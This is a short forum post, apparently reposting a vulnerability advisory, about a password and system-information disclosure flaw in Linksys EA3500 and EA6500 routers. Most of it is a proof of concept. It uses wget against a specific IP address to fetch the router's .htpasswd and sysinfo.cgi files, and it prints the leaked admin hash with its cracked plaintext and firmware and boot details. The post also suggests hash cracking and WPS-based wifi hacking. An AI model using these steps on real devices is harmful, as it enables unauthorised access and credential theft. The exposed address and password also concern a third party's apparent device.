Keine Antworten in diesem Thema

[sniffer]

Linksys Smart Wi-Fi Router EA3500 / EA6500 Vulnerabilities Reply with quote

Product: Linksys Smart Wi-Fi Router EA6500

Firmware: Version 1.1.29 (Build 162351)



Product: Linksys Smart Wi-Fi Router EA3500

Firmware: Version 1.1.39.145204



Vulnerability type: Router password and system private information disclosure!

Severity: High (Critical)



Details: The vulnerability allows an attacker to read system private information, and get MD5(unix) encrypted administrator password, remotely.



Exploitation-Technique (POC):

Target: [url]http://72.8.255.7/ui/dynamic/login.html[/url]



#Password disclosure

$ wget [url]http://72.8.255.7/.htpasswd[/url] > password

$ cat password

admin:$1$HrEMQi7U$/Ci6nHHLzVfMcwCk2mc23/ ( decrypted password: stefani1)



#using brute force tools like hash cat, its possible to decrypt the password



#System disclosure

$ wget [url]http://72.8.255.7/sysinfo.cgi[/url] > system_information

$ cat system_information



Code:

Vendor: LINKSYS

ModelName: EA3500



Firmware Version: 1.1.39.145204



Firmware Builddate: 2012-11-14 10:57

Product.type: production

Linux: Linux version 2.6.35.8 (root@hudson-node) (gcc version 4.2.0 20070413 (prerelease) (CodeSourcery Sourcery G++ Lite 2007q1-21)) #1 Wed Nov 14 02:31:16 PST 2012



Board: audi





-----U-Boot Data-----

fw_printenv bootdelay: bootdelay=0



fw_printenv mtdparts: mtdparts=mtdparts=nand_mtd:512k(uboot)ro,16k@512k(u_env),16k@528k(s_env),20m@2m(

kernel),20m@2m(rootfs)fs,20m@22m(alt_kernel),20m@22m(alt_rootfs)fs,22m@42m(syscf

g)



fw_printenv bootcmd: bootcmd=run nandboot



fw_printenv boot_part: boot_part=1....





it shares more information about the system, even it shares wps code, which can be used for wifi hacking.